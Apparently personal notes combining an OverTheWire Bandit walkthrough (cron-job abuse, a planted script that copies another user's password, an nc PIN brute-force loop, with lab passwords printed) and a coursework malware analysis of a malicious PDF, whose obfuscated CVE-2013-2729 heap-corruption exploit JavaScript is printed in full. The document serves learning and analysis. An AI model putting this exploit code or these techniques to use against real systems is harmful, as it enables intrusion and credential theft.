* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
```

Level 22

```
user@host:~$ ssh -q -p 2220 bandit22@bandit.labs.overthewire.org
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ myname=bandit23
bandit22@bandit:~$ mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
bandit22@bandit:~$ cat /tmp/$mytarget
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
```

Level 23

```
user@host:~$ ssh -q -p 2220 bandit23@bandit.labs.overthewire.org
bandit23@bandit:~$ cd $(mktemp -d)
drwx------    2 bandit23 bandit23   4096 Feb 18 07:51 ./
drwxrwx-wt 1927 root     root     724992 Feb 18 07:56 ../
-rw-rw-r--    1 bandit23 bandit23     65 Feb 18 07:50 cp.sh
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ chmod 777 .
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ nano cp.sh
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cat cp.sh
#!/bin/bash
cp /etc/bandit_pass/bandit24 /tmp/tmp.Fdl640qhfJ/pw
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cp cp.sh /var/spool/bandit24/
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ chmod 777 /var/spool/bandit24/cp.sh
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cat pw
cat: pw: Permission denied
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ ll
total 724
drwxrwxrwx    2 bandit23 bandit23   4096 Feb 18 07:59 ./
drwxrwx-wt 1926 root     root     724992 Feb 18 07:59 ../
-rw-rw-r--    1 bandit23 bandit23     65 Feb 18 07:50 cp.sh
-r--------    1 bandit24 bandit24     33 Feb 18 07:59 pw
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ nano cp.sh
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cat cp.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/tmp.Fdl640qhfJ/pass
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cp cp.sh /var/spool/bandit24/
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ chmod 777 /var/spool/bandit24/cp.sh
chmod: cannot access '/var/spool/bandit24/cp.sh': No such file or directory
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cp cp.sh /var/spool/bandit24/
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ chmod 777 /var/spool/bandit24/cp.sh
bandit23@bandit:/tmp/tmp.Fdl640qhfJ$ cat pass
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
```

Level 24

```
user@host:~$ ssh -q -p 2220 bandit24@bandit.labs.overthewire.org
bandit24@bandit:~$ list=$(mktemp) ; echo $list ; for pin in {0..9}{0..9}{0..9}{0..9} ; do ( echo UoMYTrfrBFH
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
```

The above is my approach which should work, but keeps generating: `fork: retry: Resource temporarily unavailable`.

But even following this solution (where I eventually copied the password from) step by step results in the same error:

```
bandit24@bandit:~$ cd $(mktemp -d)
bandit24@bandit:/tmp/tmp.gb6iRZldSD$ chmod 777 .
bandit24@bandit:/tmp/tmp.gb6iRZldSD$ cat > bf.sh
#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for a in {0..9}{0..9}{0..9}{0..9}
do
    echo $passwd' '$a | nc localhost 30002 >> result &
done
bandit24@bandit:/tmp/tmp.gb6iRZldSD$ chmod +x bf.sh
bandit24@bandit:/tmp/tmp.gb6iRZldSD$ ./bf.sh
./bf.sh: fork: retry: Resource temporarily unavailable
./bf.sh: fork: retry: Resource temporarily unavailable
./bf.sh: fork: retry: Resource temporarily unavailable
...
```

Level 25

```
user@host:~$ ssh -q -p 2220 bandit25@bandit.labs.overthewire.org
bandit25@bandit:~$ ll
total 32
drwxr-xr-x  2 root     root     4096 Dec 28 14:34 ./
drwxr-xr-x 29 root     root     4096 Dec 28 14:34 ../
-rw-r-----  1 bandit25 bandit25   33 Dec 28 14:34 .bandit24.password
-rw-r--r--  1 root     root      220 Sep  1  2015 .bash_logout
-rw-r--r--  1 root     root     3771 Sep  1  2015 .bashrc
-rw-r-----  1 bandit25 bandit25    4 Dec 28 14:34 .pin
-rw-r--r--  1 root     root      655 Jun 24  2016 .profile
-r--------  1 bandit25 bandit25 1679 Dec 28 14:34 bandit26.sshkey
user@host:~$ rsync -e 'ssh -q -p 2220' bandit25@bandit.labs.overthewire.org:~/bandit26.sshkey ./delete_me
```

Level 26

```
user@host:~$ ssh -q -p 2220 bandit26@bandit.labs.overthewire.org -i ./delete_me
```

This blog post describes the solution, but I don't think I would have found that solution in reasonable time.

CS5332 – 2018, Individual Assignment 1 Task 3

February 2018

Download

Downloaded in browser:

```
remnux@remnux:~/a01$ mv ~/Downloads/HappyValentineDay.pdf hvd.pdf
remnux@remnux:~/a01$ ll
total 60
drwxrwxr-x  2 remnux remnux  4096 Feb 16 04:07 ./
drwxr-xr-x 18 remnux remnux  4096 Feb 16 04:03 ../
-rw-rw-r--  1 remnux remnux 50717 Feb 16 04:06 hvd.pdf
```

pdfinfo & pdfextract & pdf-parser –search=JavaScript

```
remnux@remnux:~/a01$ pdfinfo hvd.pdf
Tagged:         no
Syntax Error (65): Bad 'Length' attribute in stream
Syntax Error (50039): Missing 'endstream' or incorrect stream length
Form:           XFA
Pages:          1
Encrypted:      no
Page size:      612 x 792 pts (letter)
Page rot:       0
File size:      50717 bytes
Optimized:      no
PDF version:    1.7
remnux@remnux:~/a01$ pdfextract hvd.pdf
Extracted 2 PDF streams to 'hvd.dump/streams'.
REXML::ParseException: #<REXML::ParseException: #<RegexpError: failed to allocate memory: /\A([^<]*)/m>
/usr/lib/ruby/1.9.1/rexml/source.rb:210:in `match'
/usr/lib/ruby/1.9.1/rexml/source.rb:210:in `match'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:419:in `pull_event'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:183:in `pull'
/usr/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in `parse'
/usr/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/usr/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `new'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `<top (required)>'
/usr/local/bin/pdfextract:23:in `load'
/usr/local/bin/pdfextract:23:in `<main>'
...
Exception parsing
Line: 1183370
Position: 91094745
Last 80 unconsumed characters:
  Qk0AAAAAAAAAAAAAAAABAAAAALgEAAAEAAAABAAgAAQAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAUkdC QV>
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:435:in `rescue in pull_event'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:326:in `pull_event'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:183:in `pull'
/usr/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in `parse'
/usr/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/usr/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `new'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `<top (required)>'
/usr/local/bin/pdfextract:23:in `load'
/usr/local/bin/pdfextract:23:in `<main>'
...
#<RegexpError: failed to allocate memory: /\A([^<]*)/m>
/usr/lib/ruby/1.9.1/rexml/source.rb:210:in `match'
/usr/lib/ruby/1.9.1/rexml/source.rb:210:in `match'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:419:in `pull_event'
/usr/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:183:in `pull'
/usr/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in `parse'
/usr/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/usr/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `new'
/var/lib/gems/1.9.1/gems/origami-1.2.7/bin/pdfextract:190:in `<top (required)>'
/usr/local/bin/pdfextract:23:in `load'
/usr/local/bin/pdfextract:23:in `<main>'
...
Exception parsing
Line: 1183370
Position: 91094745
Last 80 unconsumed characters:
  Qk0AAAAAAAAAAAAAAAABAAAAALgEAAAEAAAABAAgAAQAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAUkdC QV
Line: 1183370
Position: 91094745
Last 80 unconsumed characters:
  Qk0AAAAAAAAAAAAAAAABAAAAALgEAAAEAAAABAAgAAQAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAUkdC QV
remnux@remnux:~/a01$ ll -Rh hvd.dump/
hvd.dump/:
total 16K
drwxrwxr-x 4 remnux remnux 4.0K Feb 16 04:14 ./
drwxrwxr-x 3 remnux remnux 4.0K Feb 16 04:17 ../
drwxrwxr-x 2 remnux remnux 4.0K Feb 16 04:14 scripts/
drwxrwxr-x 2 remnux remnux 4.0K Feb 16 04:14 streams/

hvd.dump/scripts:
total 8.0K
drwxrwxr-x 2 remnux remnux 4.0K Feb 16 04:14 ./
drwxrwxr-x 4 remnux remnux 4.0K Feb 16 04:14 ../

hvd.dump/streams:
total 87M
drwxrwxr-x 2 remnux remnux 4.0K Feb 16 04:14 ./
drwxrwxr-x 4 remnux remnux 4.0K Feb 16 04:14 ../
-rw-rw-r-- 1 remnux remnux  87M Feb 16 04:14 stream_1.dmp
-rw-rw-r-- 1 remnux remnux   23 Feb 16 04:14 stream_6.dmp
remnux@remnux:~/a01$ pdf-parser --search=JavaScript hvd.pdf
remnux@remnux:~/a01$
```

This doesn't really help.

peepdf

```
remnux@remnux:~/a01$ peepdf -fi hvd.pdf
File: hvd.pdf
MD5: aaf8534120b88423f042b9d19f1c59ab
SHA1: ed0c7ab19d689554b5e112b3c45b68718908de4c
Size: 50717 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 6
Streams: 2
Comments: 0
Errors: 0

Version 0:
        Catalog: 3
        Info: No
        Objects (6): [1, 2, 3, 4, 5, 6]
                Errors (2): [1, 6]
        Streams (2): [1, 6]
                Encoded (1): [1]
        Objects with JS code (1): [1]
        Suspicious elements:
                /AcroForm: [3]
                /XFA: [2]
                BMP/RLE heap corruption (CVE-2013-2729): [1]



PPDF> js_code 1 > malicious.js
PPDF> exit

Leaving the Peepdf interactive console...Bye! ;)

remnux@remnux:~/a01$ cat malicious.js
```

```
var K7r1 = "";
var pl27 = "";



var PE = [0x30, 0x74, 0x67, 0x72, 0x6E, 0x63, 0x65, 0x67, 1, 10, 40];
var X0n = "";

function sRi(x) {
    var s = [];

    var z = hCS(j3);
    z = hCS(pg);

    var ar = hCS("[" + z + "]");

    for (var i = 0; i < ar.length; i++) {
        var j = ar[i];
        if ((j >= 33) && (j <= 126)) {
            s[i] = String.fromCharCode(33 + ((j + 14) % 94));
        } else {
            s[i] = String.fromCharCode(j);
        }
    }
    return s.join('');
}



var aMr = "3t3in33f3o33ha" + "r3o3ee3a3u3es3a3e";


function mvA8H(x) {

    return G6G(x);
}


function qmE(uindex, param1, param2) {

    switch (uindex) {
    case 1:
        return pack(param1);
        break;
    case 2:
        return unpackAt(param1, param2);
        break;
    case 3:
        return packs(param1);
        break;
    case 4:
        return packh(param1);
        break;
    case 5:
        return packhs(param1);
        break;
    }

}

function DwTo(a, b, c, d) {
    var x = form2.Text10.name;
    var y = this[a];

    x = x + '3';

    return y;
}

var upd = "Srg.rmCCdvlncp";
var upd0 = "";
var ii = 0;


for (var i = 0; i < aMr.length; i++) {
    if (aMr[i] == "3") upd0 += upd[ii++];
    else upd0 += aMr[i];
}


var xyz1 = upd0.slice(19, 23);

var hCS = DwTo.call(xyz1, xyz1);
var m7cZT = hCS(upd0.slice(23));

var p1 = "(\/[^\\/";

for (var q = 0; q < PE.length - 3; q++)
X0n += String.fromCharCode(PE[q] - 2);

var p2 = "(\/[\\/";
var j3 = "x" + X0n + p1 + "\\d]\/g,'')";
var pg = "z" + X0n + p2 + "]\/g,',')";


hCS(sRi(xfa.resolveNode("Image10").rawValue));



var cqTt = 0x12e;
var e5 = 200;
var yuc6m = 0;
var xSzh = new Array(e5);
var CE = new Array(e5);
var e2QBU = new Array(e5);
var tA1lG = new Array(e5 / 2);



var i;
var j;
if (LJBp.yuc6m == 0) {
    var vKQ = "\u5858\u5858\u5678\u1234";
    var Vn1e = LJBp.cqTt / 2 - 1 - (vKQ.length + 2 + 2);

    for (i = 0; i < LJBp.e5; i += 1)
    LJBp.xSzh[i] = vKQ + OY.qmE(1, i) + OY.K7r1.substring(0, Vn1e) + OY.qmE(1, i) + "";

    for (j = 0; j < 1000; j++)
    for (i = LJBp.e5 - 1; i > LJBp.e5 / 4; i -= 10)
    LJBp.xSzh[i] = null;
    LJBp.yuc6m = 1;
}



var i;
var j;

var hZ = -1;
var Fs = 0;
var sD = app.viewerVersion.toFixed(3);
var He = sD.split(".");
var lCCR = parseInt(He[0]);
var JTI = (He.length > 1) ? parseInt(He[1]) : 0;

if (He.length > 1) {
    JTI = parseInt(He[1]);
    if (He[1].length == 1) JTI *= 100;
} else JTI = 0;

var tc1 = "aNNNcNroNNrNdN3NNN2";
var Nvpdy = OY.m7cZT(OY.pl27);
var zYo = Nvpdy[0] + OY.qmE(1, (JTI << 16) | lCCR) + Nvpdy.substring(3);
var lHEO = lCCR >= 11 ? 16 : 14;

for (i = 0; i < LJBp.e5; i += 1)
if ((LJBp.xSzh[i] != null) && (LJBp.xSzh[i][0] != "\u5858")) {
    hZ = i;
    NS = Fs = (OY.qmE(2, LJBp.xSzh[i], lHEO) >> 16);
    Fs = (NS - OY.mvA8H(tc1.replace(/N/g, ""))) << 16;

    break;
}

if (hZ == -1) {
    event.target.closeDoc(true);
}

var UqO = "";
var h7o = 0x10101000;
if (lCCR < 11) {
    for (i = 0; i < 7; i += 1)
    UqO += OY.qmE(1, 0x30303030 + 0x11111111);
}

UqO += OY.qmE(1, h7o);
while (UqO.length < LJBp.cqTt / 2)
UqO += OY.qmE(1, 0x47474747 + 0x11111111);

for (j = 0; j < 10000; j++)
LJBp.xSzh[hZ - 1] = LJBp.xSzh[hZ] = null;

for (i = 0; i < LJBp.e5; i += 1) {
    ID = "" + i;
    LJBp.CE[i] = UqO.substring(0, LJBp.cqTt / 2 - ID.length) + ID + "";
}

var or = h7o;
var DA = "";




OY.hCS(OY.sRi(xfa.resolveNode("Image20").rawValue));
```

The above script is already somewhat pretty-printed (by peepdf?), but it contains a number of references to undefined variables and thus won't execute.

For starters, this is the first error:

```
remnux@remnux:~/a01/3$ js-didier -f malicious.js
malicious.js:62: ReferenceError: form2 is not defined
```

Resolving that error (the code line seems do be useless) doesn't really help. There are at least several other, more severe errors, like missing functions.